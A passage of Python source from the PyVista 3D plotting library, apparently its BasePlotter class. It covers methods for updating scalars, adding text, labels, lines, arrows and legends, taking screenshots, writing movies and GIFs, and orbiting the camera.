If None, uses last added mesh. render : bool, optional Force a render when True. Default ``True``. """ if mesh is None: mesh = self.mesh if isinstance(mesh, (collections.abc.Iterable, pyvista.MultiBlock)): # Recursive if need to update scalars on many meshes for m in mesh: self.update_scalars(scalars, mesh=m, render=False) if render: self.render() return if isinstance(scalars, str): # Grab scalars array if name given scalars = get_array(mesh, scalars) if scalars is None: if render: self.render() return if scalars.shape[0] == mesh.GetNumberOfPoints(): data = mesh.GetPointData() elif scalars.shape[0] == mesh.GetNumberOfCells(): data = mesh.GetCellData() else: raise_not_matching(scalars, mesh) vtk_scalars = data.GetScalars() if vtk_scalars is None: raise ValueError('No active scalars') s = convert_array(vtk_scalars) s[:] = scalars data.Modified() try: # Why are the points updated here? Not all datasets have points # and only the scalars array is modified by this function... mesh.GetPoints().Modified() except: pass if render: self.render() def update_coordinates(self, points, mesh=None, render=True): """Update the points of an object in the plotter. Parameters ---------- points : np.ndarray Points to replace existing points. mesh : vtk.PolyData or vtk.UnstructuredGrid, optional Object that has already been added to the Plotter. If None, uses last added mesh. render : bool, optional Force a render when True. Default ``True``. """ if mesh is None: mesh = self.mesh mesh.points = points # only render when the plotter has already been shown if render is None: render = not self._first_time if render: self.render() def _clear_ren_win(self): """Clear the render window.""" if hasattr(self, 'ren_win'): self.ren_win.Finalize() del self.ren_win def close(self, render=False): """Close the render window. Parameters ---------- render : bool Unused argument. """ # optionally run just prior to exiting the plotter if self._before_close_callback is not None: self._before_close_callback(self) self._before_close_callback = None # must close out widgets first super().close() # Renderer has an axes widget, so close it self.renderers.close() self.renderers.remove_all_lights() # Grab screenshots of last render if self._store_image: self.last_image = self.screenshot(None, return_img=True) self.last_image_depth = self.get_image_depth() # reset scalar bars self.clear() # grab the display id before clearing the window # this is an experimental feature if KILL_DISPLAY: # pragma: no cover disp_id = None if hasattr(self, 'ren_win'): disp_id = self.ren_win.GetGenericDisplayId() self._clear_ren_win() if self.iren is not None: self.iren.remove_observers() self.iren.terminate_app() if KILL_DISPLAY: # pragma: no cover _kill_display(disp_id) self.iren = None if hasattr(self, 'textActor'): del self.textActor # end movie if hasattr(self, 'mwriter'): try: self.mwriter.close() except BaseException: pass # this helps managing closed plotters self._closed = True def deep_clean(self): """Clean the plotter of the memory.""" if hasattr(self, 'renderers'): self.renderers.deep_clean() if getattr(self, 'mesh', None) is not None: self.mesh.point_data = None self.mesh.cell_data = None self.mesh = None if getattr(self, 'mapper', None) is not None: self.mapper.lookup_table = None self.mapper = None self.volume = None self.textactor = None def add_text(self, text, position='upper_left', font_size=18, color=None, font=None, shadow=False, name=None, viewport=False): """Add text to plot object in the top left corner by default. Parameters ---------- text : str The text to add the rendering. position : str, tuple(float), optional Position to place the bottom left corner of the text box. If tuple is used, the position of the text uses the pixel coordinate system (default). In this case, it returns a more general `vtkOpenGLTextActor`. If string name is used, it returns a `vtkCornerAnnotation` object normally used for fixed labels (like title or xlabel). Default is to find the top left corner of the rendering window and place text box up there. Available position: ``'lower_left'``, ``'lower_right'``, ``'upper_left'``, ``'upper_right'``, ``'lower_edge'``, ``'upper_edge'``, ``'right_edge'``, and ``'left_edge'``. font_size : float, optional Sets the size of the title font. Defaults to 18. color : str or sequence, optional Either a string, RGB list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` Defaults to :attr:`pyvista.global_theme.font.color <pyvista.themes._Font.color>`. font : str, optional Font name may be ``'courier'``, ``'times'``, or ``'arial'``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. viewport : bool, optional If ``True`` and position is a tuple of float, uses the normalized viewport coordinate system (values between 0.0 and 1.0 and support for HiDPI). Returns ------- vtk.vtkTextActor Text actor added to plot. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> actor = pl.add_text('Sample Text', position='upper_right', color='blue', ... shadow=True, font_size=26) >>> pl.show() """ if font is None: font = self._theme.font.family if font_size is None: font_size = self._theme.font.size if color is None: color = self._theme.font.color if position is None: # Set the position of the text to the top left corner window_size = self.window_size x = (window_size[0] * 0.02) / self.shape[0] y = (window_size[1] * 0.85) / self.shape[0] position = [x, y] corner_mappings = { 'lower_left': _vtk.vtkCornerAnnotation.LowerLeft, 'lower_right': _vtk.vtkCornerAnnotation.LowerRight, 'upper_left': _vtk.vtkCornerAnnotation.UpperLeft, 'upper_right': _vtk.vtkCornerAnnotation.UpperRight, 'lower_edge': _vtk.vtkCornerAnnotation.LowerEdge, 'upper_edge': _vtk.vtkCornerAnnotation.UpperEdge, 'left_edge': _vtk.vtkCornerAnnotation.LeftEdge, 'right_edge': _vtk.vtkCornerAnnotation.RightEdge, } corner_mappings['ll'] = corner_mappings['lower_left'] corner_mappings['lr'] = corner_mappings['lower_right'] corner_mappings['ul'] = corner_mappings['upper_left'] corner_mappings['ur'] = corner_mappings['upper_right'] corner_mappings['top'] = corner_mappings['upper_edge'] corner_mappings['bottom'] = corner_mappings['lower_edge'] corner_mappings['right'] = corner_mappings['right_edge'] corner_mappings['r'] = corner_mappings['right_edge'] corner_mappings['left'] = corner_mappings['left_edge'] corner_mappings['l'] = corner_mappings['left_edge'] if isinstance(position, (int, str, bool)): if isinstance(position, str): position = corner_mappings[position] elif position is True: position = corner_mappings['upper_left'] self.textActor = _vtk.vtkCornerAnnotation() # This is how you set the font size with this actor self.textActor.SetLinearFontScaleFactor(font_size // 2) self.textActor.SetText(position, text) else: self.textActor = _vtk.vtkTextActor() self.textActor.SetInput(text) self.textActor.SetPosition(position) if viewport: self.textActor.GetActualPositionCoordinate().SetCoordinateSystemToNormalizedViewport() self.textActor.GetActualPosition2Coordinate().SetCoordinateSystemToNormalizedViewport() self.textActor.GetTextProperty().SetFontSize(int(font_size * 2)) self.textActor.GetTextProperty().SetColor(parse_color(color)) self.textActor.GetTextProperty().SetFontFamily(FONTS[font].value) self.textActor.GetTextProperty().SetShadow(shadow) self.add_actor(self.textActor, reset_camera=False, name=name, pickable=False) return self.textActor def open_movie(self, filename, framerate=24, quality=5, **kwargs): """Establish a connection to the ffmpeg writer. Parameters ---------- filename : str Filename of the movie to open. Filename should end in mp4, but other filetypes may be supported. See ``imagio.get_writer``. framerate : int, optional Frames per second. quality : int, optional Quality 10 is the top possible quality for any codec. The range is ``0 - 10``. Higher quality leads to a larger file. **kwargs : dict, optional See the documentation for ``imageio.get_writer`` for additional kwargs. Notes ----- See the documentation for `imageio.get_writer <https://imageio.readthedocs.io/en/stable/userapi.html#imageio.get_writer>`_ Examples -------- Open a MP4 movie and set the quality to maximum. >>> import pyvista >>> pl = pyvista.Plotter >>> pl.open_movie('movie.mp4', quality=10) # doctest:+SKIP """ from imageio import get_writer if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self.mwriter = get_writer(filename, fps=framerate, quality=quality, **kwargs) def open_gif(self, filename): """Open a gif file. Parameters ---------- filename : str Filename of the gif to open. Filename must end in ``"gif"``. Examples -------- Open a gif file. >>> import pyvista >>> pl = pyvista.Plotter >>> pl.open_gif('movie.gif') # doctest:+SKIP """ from imageio import get_writer if filename[-3:] != 'gif': raise ValueError('Unsupported filetype. Must end in .gif') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) self._gif_filename = os.path.abspath(filename) self.mwriter = get_writer(filename, mode='I') def write_frame(self): """Write a single frame to the movie file. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> plotter.open_movie(filename) # doctest:+SKIP >>> plotter.add_mesh(pyvista.Sphere()) # doctest:+SKIP >>> plotter.write_frame() # doctest:+SKIP See :ref:`movie_example` for a full example using this method. """ # if off screen, show has not been called and we must render # before extracting an image if self._first_time: self._on_first_render_request() self.render() if not hasattr(self, 'mwriter'): raise RuntimeError('This plotter has not opened a movie or GIF file.') self.update() self.mwriter.append_data(self.image) def _run_image_filter(self, ifilter): # Update filter and grab pixels ifilter.Modified() ifilter.Update() image = pyvista.wrap(ifilter.GetOutput()) img_size = image.dimensions img_array = pyvista.utilities.point_array(image, 'ImageScalars') # Reshape and write tgt_size = (img_size[1], img_size[0], -1) return img_array.reshape(tgt_size)[::-1] def get_image_depth(self, fill_value=np.nan, reset_camera_clipping_range=True): """Return a depth image representing current render window. Parameters ---------- fill_value : float, optional Fill value for points in image that do not include objects in scene. To not use a fill value, pass ``None``. reset_camera_clipping_range : bool, optional Reset the camera clipping range to include data in view. Returns ------- numpy.ndarray Image of depth values from camera orthogonal to image plane. Notes ----- Values in image_depth are negative to adhere to a right-handed coordinate system. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.store_image = True >>> plotter.show() >>> zval = plotter.get_image_depth() """ # allow no render window if not hasattr(self, 'ren_win') and self.last_image_depth is not None: zval = self.last_image_depth.copy() if fill_value is not None: zval[self._image_depth_null] = fill_value return zval self._check_rendered() self._check_has_ren_win() # Ensure points in view are within clipping range of renderer? if reset_camera_clipping_range: self.renderer.ResetCameraClippingRange() # Get the z-buffer image ifilter = _vtk.vtkWindowToImageFilter() ifilter.SetInput(self.ren_win) ifilter.ReadFrontBufferOff() ifilter.SetInputBufferTypeToZBuffer() zbuff = self._run_image_filter(ifilter)[:, :, 0] # Convert z-buffer values to depth from camera with warnings.catch_warnings(): warnings.filterwarnings('ignore') near, far = self.camera.clipping_range if self.camera.parallel_projection: zval = (zbuff - near) / (far - near) else: zval = 2 * near * far / ((zbuff - 0.5) * 2 * (far - near) - near - far) # Consider image values outside clipping range as nans self._image_depth_null = np.logical_or(zval < -far, np.isclose(zval, -far)) if fill_value is not None: zval[self._image_depth_null] = fill_value return zval def add_lines(self, lines, color=(1, 1, 1), width=5, label=None, name=None): """Add lines to the plotting object. Parameters ---------- lines : np.ndarray or pyvista.PolyData Points representing line segments. For example, two line segments would be represented as ``np.array([[0, 0, 0], [1, 0, 0], [1, 0, 0], [1, 1, 0]])``. color : str or sequence, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` width : float, optional Thickness of lines. label : str, optional String label to use when adding a legend to the scene with :func:`pyvista.BasePlotter.add_legend`. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. Returns ------- vtk.vtkActor Lines actor. Examples -------- >>> import numpy as np >>> import pyvista >>> pl = pyvista.Plotter() >>> points = np.array([[0, 1, 0], [1, 0, 0], [1, 1, 0], [2, 0, 0]]) >>> actor = pl.add_lines(points, color='yellow', width=3) >>> pl.camera_position = 'xy' >>> pl.show() """ if not isinstance(lines, np.ndarray): raise TypeError('Input should be an array of point segments') lines = pyvista.lines_from_points(lines) # Create mapper and add lines mapper = _vtk.vtkDataSetMapper() mapper.SetInputData(lines) rgb_color = parse_color(color) # legend label if label: if not isinstance(label, str): raise TypeError('Label must be a string') self._labels.append([lines, label, rgb_color]) # Create actor actor = _vtk.vtkActor() actor.SetMapper(mapper) actor.GetProperty().SetLineWidth(width) actor.GetProperty().EdgeVisibilityOn() actor.GetProperty().SetEdgeColor(rgb_color) actor.GetProperty().SetColor(rgb_color) actor.GetProperty().LightingOff() # Add to renderer self.add_actor(actor, reset_camera=False, name=name, pickable=False) return actor @wraps(ScalarBars.remove_scalar_bar) def remove_scalar_bar(self, *args, **kwargs): """Remove the active scalar bar.""" self.scalar_bars.remove_scalar_bar(*args, **kwargs) def add_point_labels(self, points, labels, italic=False, bold=True, font_size=None, text_color=None, font_family=None, shadow=False, show_points=True, point_color=None, point_size=5, name=None, shape_color='grey', shape='rounded_rect', fill_shape=True, margin=3, shape_opacity=1.0, pickable=False, render_points_as_spheres=False, tolerance=0.001, reset_camera=None, always_visible=False, render=True): """Create a point actor with one label from list labels assigned to each point. Parameters ---------- points : sequence or pyvista.DataSet An ``n x 3`` sequence points or pyvista dataset with points. labels : list or str List of labels. Must be the same length as points. If a string name is given with a :class:`pyvista.DataSet` input for points, then these are fetched. italic : bool, optional Italicises title and bar labels. Default ``False``. bold : bool, optional Bolds title and bar labels. Default ``True``. font_size : float, optional Sets the size of the title font. Defaults to 16. text_color : str or 3 item list, optional Color of text. Either a string, RGB sequence, or hex color string. * ``text_color='white'`` * ``text_color='w'`` * ``text_color=[1, 1, 1]`` * ``text_color='#FFFFFF'`` font_family : str, optional Font family. Must be either ``'courier'``, ``'times'``, or ``'arial``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. show_points : bool, optional Controls if points are visible. Default ``True``. point_color : str or sequence, optional Either a string, rgb list, or hex color string. One of the following. * ``point_color='white'`` * ``point_color='w'`` * ``point_color=[1, 1, 1]`` * ``point_color='#FFFFFF'`` point_size : float, optional Size of points if visible. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. shape_color : str or sequence, optional Color of points (if visible). Either a string, rgb sequence, or hex color string. shape : str, optional The string name of the shape to use. Options are ``'rect'`` or ``'rounded_rect'``. If you want no shape, pass ``None``. fill_shape : bool, optional Fill the shape with the ``shape_color``. Outlines if ``False``. margin : int, optional The size of the margin on the label background shape. Default is 3. shape_opacity : float, optional The opacity of the shape in the range of ``[0, 1]``. pickable : bool, optional Set whether this actor is pickable. render_points_as_spheres : bool, optional Render points as spheres rather than dots. tolerance : float, optional A tolerance to use to determine whether a point label is visible. A tolerance is usually required because the conversion from world space to display space during rendering introduces numerical round-off. reset_camera : bool, optional Reset the camera after adding the points to the scene. always_visible : bool, optional Skip adding the visibility filter. Default False. render : bool, optional Force a render when ``True`` (default). Returns ------- vtk.vtkActor2D VTK label actor. Can be used to change properties of the labels. Examples -------- >>> import numpy as np >>> import pyvista >>> pl = pyvista.Plotter() >>> points = np.array([[0, 0, 0], ... [1, 1, 0], ... [2, 0, 0]]) >>> labels = ['Point A', 'Point B', 'Point C'] >>> actor = pl.add_point_labels(points, labels, italic=True, font_size=20, ... point_color='red', point_size=20, render_points_as_spheres=True, ... always_visible=True, shadow=True) >>> pl.camera_position = 'xy' >>> pl.show() """ if font_family is None: font_family = self._theme.font.family if font_size is None: font_size = self._theme.font.size if point_color is None: point_color = self._theme.color if text_color is None: text_color = self._theme.font.color if isinstance(points, (list, tuple)): points = np.array(points) if isinstance(points, np.ndarray): vtkpoints = pyvista.PolyData(points) # Cast to poly data elif is_pyvista_dataset(points): vtkpoints = pyvista.PolyData(points.points) if isinstance(labels, str): labels = points.point_data[labels] else: raise TypeError(f'Points type not usable: {type(points)}') if len(vtkpoints.points) != len(labels): raise ValueError('There must be one label for each point') if name is None: name = f'{type(vtkpoints).__name__}({vtkpoints.memory_address})' vtklabels = _vtk.vtkStringArray() vtklabels.SetName('labels') for item in labels: vtklabels.InsertNextValue(str(item)) vtkpoints.GetPointData().AddArray(vtklabels) # Create hierarchy hier = _vtk.vtkPointSetToLabelHierarchy() hier.SetLabelArrayName('labels') if always_visible: hier.SetInputData(vtkpoints) else: # Only show visible points vis_points = _vtk.vtkSelectVisiblePoints() vis_points.SetInputData(vtkpoints) vis_points.SetRenderer(self.renderer) vis_points.SetTolerance(tolerance) hier.SetInputConnection(vis_points.GetOutputPort()) # create label mapper labelMapper = _vtk.vtkLabelPlacementMapper() labelMapper.SetInputConnection(hier.GetOutputPort()) if not isinstance(shape, str): labelMapper.SetShapeToNone() elif shape.lower() in 'rect': labelMapper.SetShapeToRect() elif shape.lower() in 'rounded_rect': labelMapper.SetShapeToRoundedRect() else: raise ValueError(f'Shape ({shape}) not understood') if fill_shape: labelMapper.SetStyleToFilled() else: labelMapper.SetStyleToOutline() labelMapper.SetBackgroundColor(parse_color(shape_color)) labelMapper.SetBackgroundOpacity(shape_opacity) labelMapper.SetMargin(margin) textprop = hier.GetTextProperty() textprop.SetItalic(italic) textprop.SetBold(bold) textprop.SetFontSize(font_size) textprop.SetFontFamily(parse_font_family(font_family)) textprop.SetColor(parse_color(text_color)) textprop.SetShadow(shadow) self.remove_actor(f'{name}-points', reset_camera=False) self.remove_actor(f'{name}-labels', reset_camera=False) # add points if show_points: self.add_mesh(vtkpoints, color=point_color, point_size=point_size, name=f'{name}-points', pickable=pickable, render_points_as_spheres=render_points_as_spheres, reset_camera=reset_camera, render=render) label_actor = _vtk.vtkActor2D() label_actor.SetMapper(labelMapper) self.add_actor(label_actor, reset_camera=False, name=f'{name}-labels', pickable=False) return label_actor def add_point_scalar_labels(self, points, labels, fmt=None, preamble='', **kwargs): """Label the points from a dataset with the values of their scalars. Wrapper for :func:`pyvista.BasePlotter.add_point_labels`. Parameters ---------- points : numpy.ndarray or pyvista.DataSet An ``n x 3`` numpy.ndarray or pyvista dataset with points. labels : str, optional String name of the point data array to use. fmt : str, optional String formatter used to format numerical data. preamble : str, optional Text before the start of each label. **kwargs : dict, optional Keyword arguments passed to :func:`pyvista.BasePlotter.add_point_labels`. Returns ------- vtk.vtkActor2D VTK label actor. Can be used to change properties of the labels. """ if not is_pyvista_dataset(points): raise TypeError(f'input points must be a pyvista dataset, not: {type(points)}') if not isinstance(labels, str): raise TypeError('labels must be a string name of the scalars array to use') if fmt is None: fmt = self._theme.font.fmt if fmt is None: fmt = '%.6e' scalars = points.point_data[labels] phrase = f'{preamble} %.3e' labels = [phrase % val for val in scalars] return self.add_point_labels(points, labels, **kwargs) def add_points(self, points, **kwargs): """Add points to a mesh. Parameters ---------- points : numpy.ndarray or pyvista.DataSet Array of points or the points from a pyvista object. **kwargs : dict, optional See :func:`pyvista.BasePlotter.add_mesh` for optional keyword arguments. Returns ------- vtk.vtkActor Actor of the mesh. Examples -------- Add a numpy array of points to a mesh. >>> import numpy as np >>> import pyvista >>> points = np.random.random((10, 3)) >>> pl = pyvista.Plotter() >>> actor = pl.add_points(points, render_points_as_spheres=True, ... point_size=100.0) >>> pl.show() """ kwargs['style'] = 'points' return self.add_mesh(points, **kwargs) def add_arrows(self, cent, direction, mag=1, **kwargs): """Add arrows to the plotter. Parameters ---------- cent : np.ndarray Array of centers. direction : np.ndarray Array of direction vectors. mag : float, optional Amount to scale the direction vectors. **kwargs : dict, optional See :func:`pyvista.BasePlotter.add_mesh` for optional keyword arguments. Returns ------- vtk.vtkActor VTK actor of the arrows. Examples -------- Plot a random field of vectors and save a screenshot of it. >>> import numpy as np >>> import pyvista >>> cent = np.random.random((10, 3)) >>> direction = np.random.random((10, 3)) >>> plotter = pyvista.Plotter() >>> _ = plotter.add_arrows(cent, direction, mag=2) >>> plotter.show() """ if cent.shape != direction.shape: # pragma: no cover raise ValueError('center and direction arrays must have the same shape') direction = direction.copy() if cent.ndim != 2: cent = cent.reshape((-1, 3)) if direction.ndim != 2: direction = direction.reshape((-1, 3)) if mag != 1: direction = direction*mag pdata = pyvista.vector_poly_data(cent, direction) # Create arrow object arrow = _vtk.vtkArrowSource() arrow.Update() glyph3D = _vtk.vtkGlyph3D() glyph3D.SetSourceData(arrow.GetOutput()) glyph3D.SetInputData(pdata) glyph3D.SetVectorModeToUseVector() glyph3D.Update() arrows = wrap(glyph3D.GetOutput()) return self.add_mesh(arrows, **kwargs) @staticmethod def _save_image(image, filename, return_img): """Save to file and/or return a NumPy image array. This is an internal helper. """ if not image.size: raise ValueError('Empty image. Have you run plot() first?') # write screenshot to file if requested if isinstance(filename, (str, pathlib.Path)): from PIL import Image filename = pathlib.Path(filename) if isinstance(pyvista.FIGURE_PATH, str) and not filename.is_absolute(): filename = pathlib.Path(os.path.join(pyvista.FIGURE_PATH, filename)) if not filename.suffix: filename = filename.with_suffix('.png') elif filename.suffix not in SUPPORTED_FORMATS: raise ValueError(f'Unsupported extension {filename.suffix}\n' + f'Must be one of the following: {SUPPORTED_FORMATS}') image_path = os.path.abspath(os.path.expanduser(str(filename))) Image.fromarray(image).save(image_path) # return image array if requested if return_img: return image def save_graphic(self, filename, title='PyVista Export', raster=True, painter=True): """Save a screenshot of the rendering window as a graphic file. This can be helpful for publication documents. The supported formats are: * ``'.svg'`` * ``'.eps'`` * ``'.ps'`` * ``'.pdf'`` * ``'.tex'`` Parameters ---------- filename : str Path to fsave the graphic file to. title : str, optional Title to use within the file properties. raster : bool, optional Attempt to write 3D properties as a raster image. painter : bool, optional Configure the exporter to expect a painter-ordered 2D rendering, that is, a rendering at a fixed depth where primitives are drawn from the bottom up. """ if not hasattr(self, 'ren_win'): raise AttributeError('This plotter is closed and unable to save a screenshot.') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) filename = os.path.abspath(os.path.expanduser(filename)) extension = pyvista.fileio.get_ext(filename) writer = _vtk.lazy_vtkGL2PSExporter() modes = { '.svg': writer.SetFileFormatToSVG, '.eps': writer.SetFileFormatToEPS, '.ps': writer.SetFileFormatToPS, '.pdf': writer.SetFileFormatToPDF, '.tex': writer.SetFileFormatToTeX, } if extension not in modes: raise ValueError(f"Extension ({extension}) is an invalid choice.\n\n" f"Valid options include: {', '.join(modes.keys())}") writer.CompressOff() writer.SetFilePrefix(filename.replace(extension, '')) writer.SetInput(self.ren_win) modes[extension]() writer.SetTitle(title) writer.SetWrite3DPropsAsRasterImage(raster) if painter: writer.UsePainterSettings() writer.Update() def screenshot(self, filename=None, transparent_background=None, return_img=True, window_size=None): """Take screenshot at current camera position. Parameters ---------- filename : str, optional Location to write image to. If ``None``, no image is written. transparent_background : bool, optional Whether to make the background transparent. The default is looked up on the plotter's theme. return_img : bool, optional If ``True`` (the default), a NumPy array of the image will be returned. window_size : 2-length tuple, optional Set the plotter's size to this ``(width, height)`` before taking the screenshot. Returns ------- numpy.ndarray Array containing pixel RGB and alpha. Sized: * [Window height x Window width x 3] if ``transparent_background`` is set to ``False``. * [Window height x Window width x 4] if ``transparent_background`` is set to ``True``. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> plotter = pyvista.Plotter(off_screen=True) >>> actor = plotter.add_mesh(sphere) >>> plotter.screenshot('screenshot.png') # doctest:+SKIP """ if window_size is not None: self.window_size = window_size # configure image filter if transparent_background is None: transparent_background = self._theme.transparent_background self.image_transparent_background = transparent_background # This if statement allows you to save screenshots of closed plotters # This is needed for the sphinx-gallery to work if not hasattr(self, 'ren_win'): # If plotter has been closed... # check if last_image exists if self.last_image is not None: # Save last image return self._save_image(self.last_image, filename, return_img) # Plotter hasn't been rendered or was improperly closed raise RuntimeError('This plotter is closed and unable to save a screenshot.') if self._first_time and not self.off_screen: raise RuntimeError("Nothing to screenshot - call .show first or " "use the off_screen argument") # if off screen, show has not been called and we must render # before extracting an image if self._first_time: self._on_first_render_request() self.render() return self._save_image(self.image, filename, return_img) def add_legend(self, labels=None, bcolor=(0.5, 0.5, 0.5), border=False, size=None, name=None, origin=None, face=None): """Add a legend to render window. Entries must be a list containing one string and color entry for each item. Parameters ---------- labels : list, optional When set to None, uses existing labels as specified by - :func:`add_mesh <BasePlotter.add_mesh>` - :func:`add_lines <BasePlotter.add_lines>` - :func:`add_points <BasePlotter.add_points>` List containing one entry for each item to be added to the legend. Each entry must contain two strings, [label, color], where label is the name of the item to add, and color is the color of the label to add. bcolor : list or str, optional Background color, either a three item 0 to 1 RGB color list, or a matplotlib color string (e.g. 'w' or 'white' for a white color). If None, legend background is disabled. border : bool, optional Controls if there will be a border around the legend. Default False. size : list, optional Two float list, each float between 0 and 1. For example [0.1, 0.1] would make the legend 10% the size of the entire figure window. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. origin : list, optional If used, specifies the x and y position of the lower left corner of the legend. face : str, optional Face shape of legend face. Accepted options: * ``'triangle'`` * ``'circle'`` * ``'rectangle'`` Default is ``'triangle'``. Returns ------- vtk.vtkLegendBoxActor Actor for the legend. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, label='My Mesh') >>> _ = plotter.add_mesh(othermesh, 'k', label='My Other Mesh') >>> _ = plotter.add_legend() >>> plotter.show() Alternative manual example >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> othermesh = examples.load_uniform() >>> legend_entries = [] >>> legend_entries.append(['My Mesh', 'w']) >>> legend_entries.append(['My Other Mesh', 'k']) >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh) >>> _ = plotter.add_mesh(othermesh, 'k') >>> _ = plotter.add_legend(legend_entries) >>> plotter.show() """ self.legend = _vtk.vtkLegendBoxActor() if labels is None: # use existing labels if not self._labels: raise ValueError('No labels input.\n\n' 'Add labels to individual items when adding them to' 'the plotting object with the "label=" parameter. ' 'or enter them as the "labels" parameter.') self.legend.SetNumberOfEntries(len(self._labels)) for i, (vtk_object, text, color) in enumerate(self._labels): self.legend.SetEntry(i, vtk_object, text, parse_color(color)) else: self.legend.SetNumberOfEntries(len(labels)) if face is None or face == "triangle": legendface = pyvista.Triangle() elif face == "circle": legendface = pyvista.Circle() elif face == "rectangle": legendface = pyvista.Rectangle() else: raise ValueError(f'Invalid face "{face}". Must be one of the following:\n' '\t"triangle"\n' '\t"circle"\n' '\t"rectangle"\n') for i, (text, color) in enumerate(labels): self.legend.SetEntry(i, legendface, text, parse_color(color)) if origin is not None: if not isinstance(origin, Sequence) or len(origin) != 2: raise ValueError( '`origin` must be a list of length 2. Passed value is {}' .format(origin) ) self.legend.SetPosition(origin[0], origin[1]) if size is not None: if not isinstance(size, Sequence) or len(size) != 2: raise ValueError( '`size` must be a list of length 2. Passed value is {}' .format(size) ) self.legend.SetPosition2(size[0], size[1]) if bcolor is None: self.legend.UseBackgroundOff() else: self.legend.UseBackgroundOn() self.legend.SetBackgroundColor(bcolor) if border: self.legend.BorderOn() else: self.legend.BorderOff() # Add to renderer self.add_actor(self.legend, reset_camera=False, name=name, pickable=False) return self.legend @wraps(Renderers.set_background) def set_background(self, *args, **kwargs): """Wrap ``Renderers.set_background``.""" self.renderers.set_background(*args, **kwargs) def remove_legend(self): """Remove the legend actor.""" if hasattr(self, 'legend'): self.remove_actor(self.legend, reset_camera=False) self.render() def generate_orbital_path(self, factor=3., n_points=20, viewup=None, shift=0.0): """Generate an orbital path around the data scene. Parameters ---------- factor : float, optional A scaling factor when building the orbital extent. n_points : int, optional Number of points on the orbital path. viewup : list(float), optional The normal to the orbital plane. shift : float, optional Shift the plane up/down from the center of the scene by this amount. Returns ------- pyvista.PolyData PolyData containing the orbital path. Examples -------- Generate an orbital path around a sphere. >>> import pyvista >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(pyvista.Sphere()) >>> viewup = [0, 0, 1] >>> orbit = plotter.generate_orbital_path(factor=2.0, n_points=50, ... shift=0.0, viewup=viewup) See :ref:`orbiting_example` for a full example using this method. """ if viewup is None: viewup = self._theme.camera['viewup'] center = np.array(self.center) bnds = np.array(self.bounds) radius = (bnds[1] - bnds[0]) * factor y = (bnds[3] - bnds[2]) * factor if y > radius: radius = y center += np.array(viewup) * shift return pyvista.Polygon(center=center, radius=radius, normal=viewup, n_sides=n_points) def fly_to(self, point): """Move the current camera's focal point to a position point. The movement is animated over the number of frames specified in NumberOfFlyFrames. The LOD desired frame rate is used. Parameters ---------- point : sequence Point to fly to in the form of ``(x, y, z)``. """ self.iren.fly_to(self.renderer, point) def orbit_on_path(self, path=None, focus=None, step=0.5, viewup=None, write_frames=False, threaded=False, progress_bar=False): """Orbit on the given path focusing on the focus point. Parameters ---------- path : pyvista.PolyData Path of orbital points. The order in the points is the order of travel. focus : list(float) of length 3, optional The point of focus the camera. step : float, optional The timestep between flying to each camera position. viewup : list(float), optional The normal to the orbital plane. write_frames : bool, optional Assume a file is open and write a frame on each camera view during the orbit. threaded : bool, optional Run this as a background thread. Generally used within a GUI (i.e. PyQt). progress_bar : bool, optional Show the progress bar when proceeding through the path. This can be helpful to show progress when generating movies with ``off_screen=True``. Examples -------- Plot an orbit around the earth. Save the gif as a temporary file. >>> import tempfile >>> import os >>> import pyvista >>> filename = os.path.join(tempfile._get_default_tempdir(), ... next(tempfile._get_candidate_names()) + '.gif') >>> from pyvista import examples >>> plotter = pyvista.Plotter(window_size=[300, 300]) >>> _ = plotter.add_mesh(examples.load_globe(), smooth_shading=True) >>> plotter.open_gif(filename) >>> viewup = [0, 0, 1] >>> orbit = plotter.generate_orbital_path(factor=2.0, n_points=24, ... shift=0.0, viewup=viewup) >>> plotter.orbit_on_path(orbit, write_frames=True, viewup=viewup, ... step=0.02) See :ref:`orbiting_example` for a full example using this method. """ if focus is None: focus = self.center if viewup is None: viewup = self._theme.camera['viewup'] if path is None: path = self.generate_orbital_path(viewup=viewup) if not is_pyvista_dataset(path): path = pyvista.PolyData(path) points = path.points # Make sure the whole scene is visible self.camera.thickness = path.length if progress_bar: try: # pragma: no cover from tqdm import tqdm except ImportError: raise ImportError("Please install `tqdm` to use ``progress_bar=True``") def orbit(): """Define the internal thread for running the orbit.""" if progress_bar: # pragma: no cover points_seq = tqdm(points) else: points_seq = points for point in points_seq: tstart = time.time() # include the render time in the step time self.set_position(point) self.set_focus(focus) self.set_viewup(viewup) self.renderer.ResetCameraClippingRange() if write_frames: self.write_frame() else: self.render() sleep_time = step - (time.time() - tstart) if sleep_time > 0: time.sleep(sleep_time) if threaded: thread = Thread(target=orbit) thread.start() else: orbit() def export_vtkjs(self, filename, compress_arrays=False): """Export the current rendering scene as a VTKjs scene. It can be used for rendering in a web browser. Parameters ---------- filename : str Filename to export the scene to. A filename extension of ``'.vtkjs'`` will be added. compress_arrays : bool, optional Enable 